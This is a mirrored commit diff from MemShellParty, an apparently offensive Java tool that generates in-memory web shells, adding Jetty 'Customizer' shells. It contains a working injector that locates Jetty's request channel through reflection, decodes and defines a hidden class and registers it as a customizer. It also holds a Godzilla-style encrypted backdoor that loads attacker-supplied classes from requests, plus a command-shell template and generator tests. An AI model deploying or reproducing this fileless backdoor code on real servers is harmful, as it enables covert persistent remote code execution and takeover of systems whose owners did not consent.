mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support jetty customizer shell
This commit is contained in:
@@ -71,6 +71,7 @@ public class ServerFactory {
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
@@ -144,6 +145,7 @@ public class ServerFactory {
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
|
||||
@@ -20,9 +20,8 @@ public class ShellType {
|
||||
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
|
||||
|
||||
public static final String HANDLER = "Handler";
|
||||
public static final String JETTY6_HANDLER = "Jetty6Handler";
|
||||
public static final String JETTY_EE_HANDLER = "JettyEEHandler";
|
||||
public static final String JAKARTA_HANDLER = JAKARTA + HANDLER;
|
||||
public static final String CUSTOMIZER = "Customizer";
|
||||
|
||||
public static final String NETTY_HANDLER = "NettyHandler";
|
||||
|
||||
|
||||
+215
@@ -0,0 +1,215 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JettyCustomizerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public JettyCustomizerInjector() {
|
||||
Object channel = null;
|
||||
try {
|
||||
channel = getChannel();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "channel error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (channel == null) {
|
||||
msg += "channel is null";
|
||||
} else {
|
||||
msg += ("channel: [" + channel + "] ");
|
||||
try {
|
||||
Object shell = getShell(channel);
|
||||
inject(channel, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public void inject(Object channel, Object shell) throws Exception {
|
||||
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
|
||||
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
|
||||
for (Object customizer : customizers) {
|
||||
if (customizer.getClass().getName().equals(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
customizers.add(shell);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
/**
|
||||
* org.eclipse.jetty.server.HttpChannel
|
||||
*/
|
||||
private Object getChannel() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
|
||||
for (int i = 0; i < Array.getLength(table); i++) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object threadLocalValue = getFieldValue(entry, "value");
|
||||
if (threadLocalValue != null) {
|
||||
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
|
||||
return getFieldValue(threadLocalValue, "_channel");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (NoSuchMethodException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -44,6 +44,7 @@ public class Jetty extends AbstractServer {
|
||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||
.addInjector(HANDLER, JettyHandlerInjector.class)
|
||||
.addInjector(JAKARTA_HANDLER, JettyHandlerInjector.class)
|
||||
.addInjector(CUSTOMIZER, JettyCustomizerInjector.class)
|
||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.eclipse.jetty.server.Connector;
|
||||
import org.eclipse.jetty.server.HttpConfiguration;
|
||||
import org.eclipse.jetty.server.Request;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/29
|
||||
*/
|
||||
public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
|
||||
private static String paramName;
|
||||
|
||||
public CommandJettyCustomizer() {
|
||||
}
|
||||
|
||||
// jetty9+
|
||||
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
|
||||
try {
|
||||
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
Object response = invokeMethod(request, "getResponse");
|
||||
InputStream inputStream = getInputStream(param);
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
+142
@@ -0,0 +1,142 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.eclipse.jetty.server.Connector;
|
||||
import org.eclipse.jetty.server.HttpConfiguration;
|
||||
import org.eclipse.jetty.server.Request;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/29
|
||||
*/
|
||||
public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfiguration.Customizer {
|
||||
private static String key;
|
||||
private static String pass;
|
||||
private static String md5;
|
||||
private static String headerName;
|
||||
private static String headerValue;
|
||||
private static Class<?> payload;
|
||||
|
||||
public GodzillaJettyCustomizer() {
|
||||
}
|
||||
|
||||
protected GodzillaJettyCustomizer(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
// jetty9+
|
||||
public void customize(Connector connector, HttpConfiguration channelConfig, Request request) {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
Object response = invokeMethod(request, "getResponse");
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
try {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
if (payload == null) {
|
||||
payload = new GodzillaJettyCustomizer(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
writer.write(md5.substring(0, 16));
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
writer.write(getErrorMessage(e));
|
||||
}
|
||||
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) {
|
||||
return invokeMethod(obj, methodName, null, null);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + (obj instanceof Class ? ((Class<?>) obj).getName() : obj.getClass().getName()) + "." + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+109
@@ -0,0 +1,109 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.command;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandJettyHandler;
|
||||
import net.bytebuddy.jar.asm.ClassReader;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/2
|
||||
*/
|
||||
public class CommandJettyHandlerTest {
|
||||
@Test
|
||||
void testJetty6() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Jetty)
|
||||
.serverVersion("6")
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(ShellType.HANDLER)
|
||||
.debug(true)
|
||||
.build();
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandJettyHandler.class)
|
||||
.shellClassName(CommandJettyHandler.class.getName())
|
||||
.paramName("pwd").build();
|
||||
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
|
||||
byte[] bytes = commandGenerator.getBytes();
|
||||
assertEquals("org/mortbay/jetty/handler/AbstractHandler", new ClassReader(bytes).getSuperName());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJetty7Plus() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Jetty)
|
||||
.serverVersion("7+")
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(ShellType.HANDLER)
|
||||
.debug(true)
|
||||
.build();
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandJettyHandler.class)
|
||||
.shellClassName(CommandJettyHandler.class.getName())
|
||||
.paramName("pwd").build();
|
||||
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
|
||||
byte[] bytes = commandGenerator.getBytes();
|
||||
assertEquals("org/eclipse/jetty/server/handler/AbstractHandler", new ClassReader(bytes).getSuperName());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJetty12() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Jetty)
|
||||
.serverVersion("12")
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(ShellType.HANDLER)
|
||||
.debug(true)
|
||||
.build();
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandJettyHandler.class)
|
||||
.shellClassName(CommandJettyHandler.class.getName())
|
||||
.paramName("pwd").build();
|
||||
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
|
||||
byte[] bytes = commandGenerator.getBytes();
|
||||
assertEquals("org/eclipse/jetty/server/Handler$Abstract", new ClassReader(bytes).getSuperName());
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJettyException() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Jetty)
|
||||
.serverVersion("unknown")
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(ShellType.HANDLER)
|
||||
.debug(true)
|
||||
.build();
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandJettyHandler.class)
|
||||
.shellClassName(CommandJettyHandler.class.getName())
|
||||
.paramName("pwd").build();
|
||||
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
|
||||
assertThrows(GenerationException.class, commandGenerator::getBytes);
|
||||
}
|
||||
|
||||
@Test
|
||||
void testJettyNullException() {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Jetty)
|
||||
.serverVersion(null)
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(ShellType.HANDLER)
|
||||
.debug(true)
|
||||
.build();
|
||||
CommandConfig commandConfig = CommandConfig.builder()
|
||||
.shellClass(CommandJettyHandler.class)
|
||||
.shellClassName(CommandJettyHandler.class.getName())
|
||||
.paramName("pwd").build();
|
||||
CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig);
|
||||
assertThrows(GenerationException.class, commandGenerator::getBytes);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user